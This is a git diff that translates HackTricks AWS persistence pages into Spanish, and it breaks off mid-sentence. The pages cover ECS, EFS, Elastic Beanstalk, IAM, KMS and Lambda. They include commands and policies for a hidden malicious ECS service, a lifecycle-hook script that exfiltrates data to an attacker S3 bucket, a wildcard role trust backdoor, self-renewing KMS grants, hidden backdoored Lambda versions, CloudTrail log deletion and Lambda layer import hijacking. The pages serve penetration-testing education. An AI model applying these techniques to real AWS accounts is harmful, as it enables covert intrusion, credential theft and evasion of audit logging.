+"essential": false +} ]' ``` - -### Undocumented ECS Service +### Servicio ECS No Documentado > [!NOTE] -> TODO: Test - -An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service. +> TODO: Probar +Un atacante puede crear un **servicio ECS no documentado** que ejecute una tarea maliciosa. Al establecer el número deseado de tareas a un mínimo y deshabilitar el registro, se vuelve más difícil para los administradores notar el servicio malicioso. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an undocumented ECS service with the malicious task definition aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index bdb282d41..c20243478 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -4,22 +4,18 @@ ## EFS -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-efs-enum.md {{#endref}} -### Modify Resource Policy / Security Groups +### Modificar la Política de Recursos / Grupos de Seguridad -Modifying the **resource policy and/or security groups** you can try to persist your access into the file system. +Modificando la **política de recursos y/o grupos de seguridad** puedes intentar persistir tu acceso al sistema de archivos. -### Create Access Point +### Crear Punto de Acceso -You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system. +Podrías **crear un punto de acceso** (con acceso root a `/`) accesible desde un servicio donde hayas implementado **otra persistencia** para mantener el acceso privilegiado al sistema de archivos. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index c55e0e2ba..0d9a3966f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -1,34 +1,33 @@ -# AWS - Elastic Beanstalk Persistence +# AWS - Persistencia en Elastic Beanstalk {{#include ../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### Persistence in Instance +### Persistencia en la Instancia -In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**. +Con el fin de mantener la persistencia dentro de la cuenta de AWS, se podría **introducir algún mecanismo de persistencia dentro de la instancia** (tarea programada, clave ssh...) para que el atacante pueda acceder a ella y robar las **credenciales del rol IAM desde el servicio de metadatos**. -### Backdoor in Version +### Puerta trasera en la Versión -An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code. +Un atacante podría insertar una puerta trasera en el código dentro del repositorio S3 para que siempre ejecute su puerta trasera y el código esperado. -### New backdoored version +### Nueva versión con puerta trasera -Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application. +En lugar de cambiar el código en la versión actual, el atacante podría desplegar una nueva versión de la aplicación con puerta trasera. -### Abusing Custom Resource Lifecycle Hooks +### Abusando de los Hooks del Ciclo de Vida de Recursos Personalizados > [!NOTE] -> TODO: Test - -Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**. +> TODO: Probar +Elastic Beanstalk proporciona hooks de ciclo de vida que te permiten ejecutar scripts personalizados durante la provisión y terminación de instancias. Un atacante podría **configurar un hook de ciclo de vida para ejecutar periódicamente un script que exfiltra datos o mantiene el acceso a la cuenta de AWS**. ```bash bashCopy code# Attacker creates a script that exfiltrates data and maintains access echo '#!/bin/bash @@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo # Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook echo 'Resources: - AWSEBAutoScalingGroup: - Metadata: - AWS::ElasticBeanstalk::Ext: - TriggerConfiguration: - triggers: - - name: stealthy-lifecycle-hook - events: - - "autoscaling:EC2_INSTANCE_LAUNCH" - - "autoscaling:EC2_INSTANCE_TERMINATE" - target: - ref: "AWS::ElasticBeanstalk::Environment" - arn: - Fn::GetAtt: - - "AWS::ElasticBeanstalk::Environment" - - "Arn" - stealthyLifecycleHook: - Type: AWS::AutoScaling::LifecycleHook - Properties: - AutoScalingGroupName: - Ref: AWSEBAutoScalingGroup - LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING - NotificationTargetARN: - Ref: stealthy-lifecycle-hook - RoleARN: - Fn::GetAtt: - - AWSEBAutoScalingGroup - - Arn' > stealthy_lifecycle_hook.yaml +AWSEBAutoScalingGroup: +Metadata: +AWS::ElasticBeanstalk::Ext: +TriggerConfiguration: +triggers: +- name: stealthy-lifecycle-hook +events: +- "autoscaling:EC2_INSTANCE_LAUNCH" +- "autoscaling:EC2_INSTANCE_TERMINATE" +target: +ref: "AWS::ElasticBeanstalk::Environment" +arn: +Fn::GetAtt: +- "AWS::ElasticBeanstalk::Environment" +- "Arn" +stealthyLifecycleHook: +Type: AWS::AutoScaling::LifecycleHook +Properties: +AutoScalingGroupName: +Ref: AWSEBAutoScalingGroup +LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING +NotificationTargetARN: +Ref: stealthy-lifecycle-hook +RoleARN: +Fn::GetAtt: +- AWSEBAutoScalingGroup +- Arn' > stealthy_lifecycle_hook.yaml # Attacker applies the new environment configuration aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index e3e1944e7..466e0a6d1 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -4,50 +4,44 @@ ## IAM -For more information access: +Para más información accede a: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### Common IAM Persistence +### Persistencia Común de IAM -- Create a user -- Add a controlled user to a privileged group -- Create access keys (of the new user or of all users) -- Grant extra permissions to controlled users/groups (attached policies or inline policies) -- Disable MFA / Add you own MFA device -- Create a Role Chain Juggling situation (more on this below in STS persistence) +- Crear un usuario +- Agregar un usuario controlado a un grupo privilegiado +- Crear claves de acceso (del nuevo usuario o de todos los usuarios) +- Otorgar permisos adicionales a usuarios/grupos controlados (políticas adjuntas o políticas en línea) +- Deshabilitar MFA / Agregar tu propio dispositivo MFA +- Crear una situación de Cadena de Roles (más sobre esto a continuación en la persistencia de STS) -### Backdoor Role Trust Policies - -You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone): +### Políticas de Confianza de Rol de Puerta Trasera +Podrías crear una puerta trasera en una política de confianza para poder asumirla para un recurso externo controlado por ti (o para todos): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": ["*", "arn:aws:iam::123213123123:root"] - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] } ``` +### Versión de Política de Puerta Trasera -### Backdoor Policy Version +Otorgar permisos de Administrador a una política que no sea su última versión (la última versión debe parecer legítima), luego asignar esa versión de la política a un usuario/grupo controlado. -Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group. +### Puerta Trasera / Crear Proveedor de Identidad -### Backdoor / Create Identity Provider - -If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them. +Si la cuenta ya confía en un proveedor de identidad común (como Github), las condiciones de la confianza podrían aumentarse para que el atacante pueda abusar de ellas. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 7aefbd410..99c6f65f1 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -4,40 +4,34 @@ ## KMS -For mor information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Grant acces via KMS policies +### Conceder acceso a través de políticas de KMS -An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information. +Un atacante podría usar el permiso **`kms:PutKeyPolicy`** para **dar acceso** a una clave a un usuario bajo su control o incluso a una cuenta externa. Consulta la [**página de Privesc de KMS**](../aws-privilege-escalation/aws-kms-privesc.md) para más información. -### Eternal Grant +### Concesión Eterna -Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key. +Las concesiones son otra forma de dar a un principal algunos permisos sobre una clave específica. Es posible dar una concesión que permita a un usuario crear concesiones. Además, un usuario puede tener varias concesiones (incluso idénticas) sobre la misma clave. -Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated. - -(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant) +Por lo tanto, es posible que un usuario tenga 10 concesiones con todos los permisos. El atacante debería monitorear esto constantemente. Y si en algún momento se elimina 1 concesión, se deberían generar otras 10. +(Estamos usando 10 y no 2 para poder detectar que se eliminó una concesión mientras el usuario aún tiene alguna concesión) ```bash # To generate grants, generate 10 like this one aws kms create-grant \ - --key-id \ - --grantee-principal \ - --operations "CreateGrant" "Decrypt" +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" # To monitor grants aws kms list-grants --key-id ``` - > [!NOTE] -> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> Un grant puede otorgar permisos solo desde esto: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 1390c2d55..c090f6b44 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -1,68 +1,64 @@ -# AWS - Lambda Persistence +# AWS - Persistencia de Lambda {{#include ../../../../banners/hacktricks-training.md}} ## Lambda -For more information check: +Para más información, consulta: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Lambda Layer Persistence +### Persistencia de Lambda Layer -It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way: +Es posible **introducir/backdoor una capa para ejecutar código arbitrario** cuando la lambda se ejecuta de manera sigilosa: {{#ref}} aws-lambda-layers-persistence.md {{#endref}} -### Lambda Extension Persistence +### Persistencia de Extensiones de Lambda -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Abusando de las Lambda Layers, también es posible abusar de las extensiones y persistir en la lambda, pero también robar y modificar solicitudes. {{#ref}} aws-abusing-lambda-extensions.md {{#endref}} -### Via resource policies +### A través de políticas de recursos -It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts: +Es posible otorgar acceso a diferentes acciones de lambda (como invocar o actualizar código) a cuentas externas:
-### Versions, Aliases & Weights +### Versiones, Alias y Pesos -A Lambda can have **different versions** (with different code each version).\ -Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\ -This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth. +Una Lambda puede tener **diferentes versiones** (con código diferente en cada versión).\ +Luego, puedes crear **diferentes alias con diferentes versiones** de la lambda y establecer diferentes pesos para cada uno.\ +De esta manera, un atacante podría crear una **versión 1 con backdoor** y una **versión 2 con solo el código legítimo** y **ejecutar solo la versión 1 en el 1%** de las solicitudes para permanecer sigiloso.
-### Version Backdoor + API Gateway +### Backdoor de Versión + API Gateway -1. Copy the original code of the Lambda -2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST - 1. Call the API gateway related to the lambda to execute the code -3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. - 1. This will hide the backdoored code in a previous version -4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` - 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). -5. Select the POST method created and in Actions select **`Deploy API`** -6. Now, when you **call the function via POST your Backdoor** will be invoked +1. Copia el código original de la Lambda +2. **Crea una nueva versión backdooring** el código original (o solo con código malicioso). Publica y **despliega esa versión** a $LATEST +1. Llama al API gateway relacionado con la lambda para ejecutar el código +3. **Crea una nueva versión con el código original**, publica y despliega esa **versión** a $LATEST. +1. Esto ocultará el código con backdoor en una versión anterior +4. Ve al API Gateway y **crea un nuevo método POST** (o elige cualquier otro método) que ejecutará la versión con backdoor de la lambda: `arn:aws:lambda:us-east-1::function::1` +1. Nota el final :1 del arn **indicando la versión de la función** (la versión 1 será la con backdoor en este escenario). +5. Selecciona el método POST creado y en Acciones selecciona **`Deploy API`** +6. Ahora, cuando **llames a la función vía POST, tu Backdoor** será invocado -### Cron/Event actuator +### Actuador Cron/Event -The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\ -Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**. +El hecho de que puedes hacer que **las funciones lambda se ejecuten cuando algo sucede o cuando pasa un tiempo** hace que lambda sea una forma agradable y común de obtener persistencia y evitar detección.\ +Aquí tienes algunas ideas para hacer tu **presencia en AWS más sigilosa creando lambdas**. -- Every time a new user is created lambda generates a new user key and send it to the attacker. -- Every time a new role is created lambda gives assume role permissions to compromised users. -- Every time new cloudtrail logs are generated, delete/alter them +- Cada vez que se crea un nuevo usuario, lambda genera una nueva clave de usuario y se la envía al atacante. +- Cada vez que se crea un nuevo rol, lambda otorga permisos de asumir rol a usuarios comprometidos. +- Cada vez que se generan nuevos registros de cloudtrail, elimínalos/modifícalos. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 71655ada0..f52a1ad08 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -1,46 +1,42 @@ -# AWS - Abusing Lambda Extensions +# AWS - Abusando de las Extensiones de Lambda {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Extensions +## Extensiones de Lambda -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Las extensiones de Lambda mejoran las funciones al integrarse con varias **herramientas de monitoreo, observabilidad, seguridad y gobernanza**. Estas extensiones, añadidas a través de [.zip archives usando capas de Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) o incluidas en [despliegues de imágenes de contenedor](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operan en dos modos: **interno** y **externo**. -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. +- **Las extensiones internas** se fusionan con el proceso de ejecución, manipulando su inicio utilizando **variables de entorno específicas del lenguaje** y **scripts envolventes**. Esta personalización se aplica a una variedad de entornos de ejecución, incluyendo **Java Correto 8 y 11, Node.js 10 y 12, y .NET Core 3.1**. +- **Las extensiones externas** se ejecutan como procesos separados, manteniendo la alineación de operación con el ciclo de vida de la función Lambda. Son compatibles con varios entornos de ejecución como **Node.js 10 y 12, Python 3.7 y 3.8, Ruby 2.5 y 2.7, Java Corretto 8 y 11, .NET Core 3.1**, y **entornos de ejecución personalizados**. -For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). +Para más información sobre [**cómo funcionan las extensiones de lambda, consulta la documentación**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). -### External Extension for Persistence, Stealing Requests & modifying Requests +### Extensión Externa para Persistencia, Robo de Solicitudes y Modificación de Solicitudes -This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) +Este es un resumen de la técnica propuesta en esta publicación: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.** +Se encontró que el kernel de Linux predeterminado en el entorno de ejecución de Lambda está compilado con llamadas al sistema “**process_vm_readv**” y “**process_vm_writev**”. Y todos los procesos se ejecutan con el mismo ID de usuario, incluso el nuevo proceso creado para la extensión externa. **Esto significa que una extensión externa tiene acceso completo de lectura y escritura a la memoria heap de Rapid, por diseño.** -Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request. +Además, aunque las extensiones de Lambda tienen la capacidad de **suscribirse a eventos de invocación**, AWS no revela los datos en bruto a estas extensiones. Esto asegura que **las extensiones no pueden acceder a información sensible** transmitida a través de la solicitud HTTP. -The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid. +El proceso Init (Rapid) monitorea todas las solicitudes de API en [http://127.0.0.1:9001](http://127.0.0.1:9001/) mientras las extensiones de Lambda se inicializan y se ejecutan antes de la ejecución de cualquier código de tiempo de ejecución, pero después de Rapid.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions. +La variable **`AWS_LAMBDA_RUNTIME_API`** indica la **IP** y el **número de puerto** de la API de Rapid a **los procesos de tiempo de ejecución hijo** y extensiones adicionales. > [!WARNING] -> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number. +> Al cambiar la variable de entorno **`AWS_LAMBDA_RUNTIME_API`** a un **`puerto`** al que tengamos acceso, es posible interceptar todas las acciones dentro del tiempo de ejecución de Lambda (**man-in-the-middle**). Esto es posible porque la extensión se ejecuta con los mismos privilegios que Rapid Init, y el kernel del sistema permite la **modificación de la memoria del proceso**, lo que permite la alteración del número de puerto. -Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment. +Debido a que **las extensiones se ejecutan antes de cualquier código de tiempo de ejecución**, modificar la variable de entorno influirá en el proceso de tiempo de ejecución (por ejemplo, Python, Java, Node, Ruby) a medida que se inicia. Además, **las extensiones cargadas después** de la nuestra, que dependen de esta variable, también se enrutarán a través de nuestra extensión. Esta configuración podría permitir que el malware eluda completamente las medidas de seguridad o las extensiones de registro directamente dentro del entorno de tiempo de ejecución.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**. +La herramienta [**lambda-spy**](https://github.com/clearvector/lambda-spy) fue creada para realizar esa **escritura de memoria** y **robar información sensible** de las solicitudes de lambda, otras **solicitudes de extensiones** e incluso **modificarlas**. -## References +## Referencias - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) - [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index f8a5e2868..8d5041b79 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -1,82 +1,75 @@ -# AWS - Lambda Layers Persistence +# AWS - Persistencia de Capas de Lambda {{#include ../../../../banners/hacktricks-training.md}} -## Lambda Layers +## Capas de Lambda -A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Una capa de Lambda es un archivo .zip que **puede contener código adicional** u otro contenido. Una capa puede contener bibliotecas, un [runtime personalizado](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), datos o archivos de configuración. -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +Es posible incluir hasta **cinco capas por función**. Cuando incluyes una capa en una función, **el contenido se extrae en el directorio `/opt`** en el entorno de ejecución. -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +Por **defecto**, las **capas** que creas son **privadas** para tu cuenta de AWS. Puedes optar por **compartir** una capa con otras cuentas o **hacer** que la capa sea **pública**. Si tus funciones consumen una capa que publicó otra cuenta, tus funciones pueden **seguir utilizando la versión de la capa después de que haya sido eliminada, o después de que se revoque tu permiso para acceder a la capa**. Sin embargo, no puedes crear una nueva función ni actualizar funciones utilizando una versión de capa eliminada. -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +Las funciones desplegadas como una imagen de contenedor no utilizan capas. En su lugar, empaquetas tu runtime preferido, bibliotecas y otras dependencias en la imagen del contenedor cuando construyes la imagen. -### Python load path - -The load path that Python will use in lambda is the following: +### Ruta de carga de Python +La ruta de carga que Python utilizará en lambda es la siguiente: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` - -Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`** +Verifica cómo las **segundas** y **terceras** **posiciones** son ocupadas por directorios donde **lambda layers** descomprimen sus archivos: **`/opt/python/lib/python3.9/site-packages`** y **`/opt/python`** > [!CAUTION] -> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation. +> Si un atacante logra **backdoor** una **layer** de lambda utilizada o **agregar una** que estará **ejecutando código arbitrario cuando se cargue una biblioteca común**, podrá ejecutar código malicioso con cada invocación de lambda. -Therefore, the requisites are: +Por lo tanto, los requisitos son: -- **Check libraries** that are **loaded** by the victims code -- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library. +- **Verificar bibliotecas** que son **cargadas** por el código de las víctimas +- Crear una **biblioteca proxy con lambda layers** que **ejecutará código personalizado** y **cargará la biblioteca original**. -### Preloaded libraries +### Bibliotecas pre-cargadas > [!WARNING] -> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\ -> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed. - -With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda: +> Al abusar de esta técnica encontré una dificultad: Algunas bibliotecas ya están **cargadas** en el tiempo de ejecución de python cuando se ejecuta tu código. Esperaba encontrar cosas como `os` o `sys`, pero **incluso la biblioteca `json` estaba cargada**.\ +> Para abusar de esta técnica de persistencia, el código necesita **cargar una nueva biblioteca que no esté cargada** cuando se ejecuta el código. +Con un código en python como este es posible obtener la **lista de bibliotecas que están pre-cargadas** dentro del tiempo de ejecución de python en lambda: ```python import sys def lambda_handler(event, context): - return { - 'statusCode': 200, - 'body': str(sys.modules.keys()) - } +return { +'statusCode': 200, +'body': str(sys.modules.keys()) +} ``` - -And this is the **list** (check that libraries like `os` or `json` are already there) - +Y esta es la **lista** (verifica que bibliotecas como `os` o `json` ya estén allí) ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` +Y esta es la lista de **bibliotecas** que **lambda incluye instaladas por defecto**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) -And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) +### Inyección en la Capa de Lambda -### Lambda Layer Backdooring +En este ejemplo supongamos que el código objetivo está importando **`csv`**. Vamos a **inyectar el import de la biblioteca `csv`**. -In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**. +Para hacer eso, vamos a **crear el directorio csv** con el archivo **`__init__.py`** en él en una ruta que es cargada por lambda: **`/opt/python/lib/python3.9/site-packages`**\ +Luego, cuando la lambda se ejecute e intente cargar **csv**, nuestro **archivo `__init__.py` será cargado y ejecutado**.\ +Este archivo debe: -For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by 